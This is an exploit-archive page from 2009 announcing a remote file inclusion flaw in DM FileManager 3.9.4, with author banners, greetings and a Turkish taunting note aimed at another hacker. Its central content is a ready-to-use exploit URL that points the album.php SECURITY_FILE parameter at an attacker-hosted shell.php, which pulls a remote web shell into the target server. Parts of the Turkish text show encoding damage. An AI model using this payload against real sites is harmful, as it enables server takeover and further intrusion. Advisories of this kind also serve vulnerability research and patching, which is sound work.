[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : DM FileManager 3.9.4 Remote File Inclusion Vulnerability
# Published : 2009-06-29
# Author : Septemb0x
# Previous Title : WordPress Plugin DM Albums 1.9.2 Remote File Inclusion Vuln
# Next Title : Virtue Online Test Generator (AB/SQL/XSS) Multiple Vulnerabilities


#############################################################################################
[+] DM FileManager 3.9.4 Remote File Include Vulnerability
[+] Author : Septemb0x
[+] www.Cyber-Warrior.Org - Information Technology's World
[+] Greetz : BARCOD3 And All Friends...
[+] Dork : Yok Dork Mork :D
[+] Download Script : http://uploaded.to/file/3z84ie
[+] Product Site : http://www.dutchmonkey.com
#############################################################################################
[+] EXPLOIT;
[+] http://[sitename]/[path]/dm-albums/template/album.php?SECURITY_FILE=http://attackersite/shell.php
#############################################################################################
< ---- Note ---- >
H....R;
Sen ?§ok ??st??n zekaya sahip birisin,
emin olbilirsin, :D
Sql injection ile domain hackleyebilen tek lamersin, :D
ASP'de Rfi Bulmakta Birebirsin,
Ama G??rd??????m En h?±yar Lamersin :D
Bu Kafiyelerde Bi Taraf?±na Girsin ;)
Lol H....R :D
< ---- Note Finished ---- >

# www.Syue.com [2009-06-29]